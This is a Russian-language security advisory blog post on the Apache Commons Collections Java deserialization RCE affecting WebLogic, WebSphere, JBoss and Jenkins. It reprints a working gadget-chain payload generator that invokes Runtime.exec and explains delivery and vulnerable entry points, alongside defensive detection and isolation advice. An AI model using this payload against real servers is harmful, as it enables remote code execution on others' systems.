Критическая уязвимость в ряде Java Application Server
Вчера в блоге Apache FSF появилась интересная запись. Уязвимым оказалось практически все ПО, которое использует сериализацию и десереализацию данных совместно с apache commons collections и некоторыми другими библиотеками.
Сама уязвимость была описана 6 ноября, а сегодня Oracle выпустил первые патчи к WebLogic.
Кратко
Тип: Удаленное исполнение кода
Опасность: высокая
Уязвимое ПО: Oracle WebLogic, IBM WebSphere, JBoss, Jenkins, OpenNMS и другое ПО с commons collections в classpath.
Описание: Уязвимость позволяет злоумышленнику создать такой пакет сериализованных данных, который при распаковке заставит уязвимый сервер исполнить произвольный код.
Подробно
Факты
- В Java, как и во многих других языках, существует механизм под названием serialization/deserialization, превращающий java-объект в последовательность байт и обратно. Он используется для передачи объектов, например через RMI или http cookie.
- В библиотеке commons collections существует ряд классов ( *Transformer ), которые можно сериализовать
- При некоторых условиях при десереализации InvokerTransformer может исполнить код
- Библиотека commons-collections используется в огромном количестве проектов, включая application servers указанные выше
- Для эксплуатации достаточно иметь данные классы в classpath, использовать ее в своем приложении не обязательно
Payload
Данный пример я честно скопировал из оригинальной статьи и снабдил своими комментариями, они наглядно показывают суть проблемы.
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
Код генерирует объект, десериализация которого приведет к исполнению кода.
Все дело в том, как упаковывается InvokerTransformer, который при распаковке цепочки трансформеров и вызовет Runtime.getRuntime().exec(new String[] { command }), что приведет к исполнению кода в операционной системе.
Для эксплуатации достаточно сериализовать полученный объект через java.io.ObjectOutputStream и передать его по используемому протоколу.
Примеры эксплуатации представлены в оригинальной статье, сам PoC лежит тут.
Workaround
Для успешной эксплуатации достаточно найти удаленный сервис, который принимает на вход сериализованные данные.
Потенциально уязвимые места:
- HTTP запросы – параметры, cookie, ViewState'ы, заголовки итд
- RMI и RMI over HTTP
- JMX
- Собственные протоколы, передающие сериализованные объекты
Для поиска подобных объектов в трафике своих серверов можно воспользоваться сниффером и поискать последовательность байт "ac ed 00 05 73 72", которая является заголовком любого сериализованного объекта. Не забывайте, что объект может быть обернут в base64 или другое кодирование, в зависимости от типа системы. После нахождения сервисов, принимающих такие объекты, очень желательно изолировать их от внешней сети.
P.S. А лучше не используйте сериализацию для внешних данных, ведь никому не известно, сколько еще таких «Трансформеров» существует.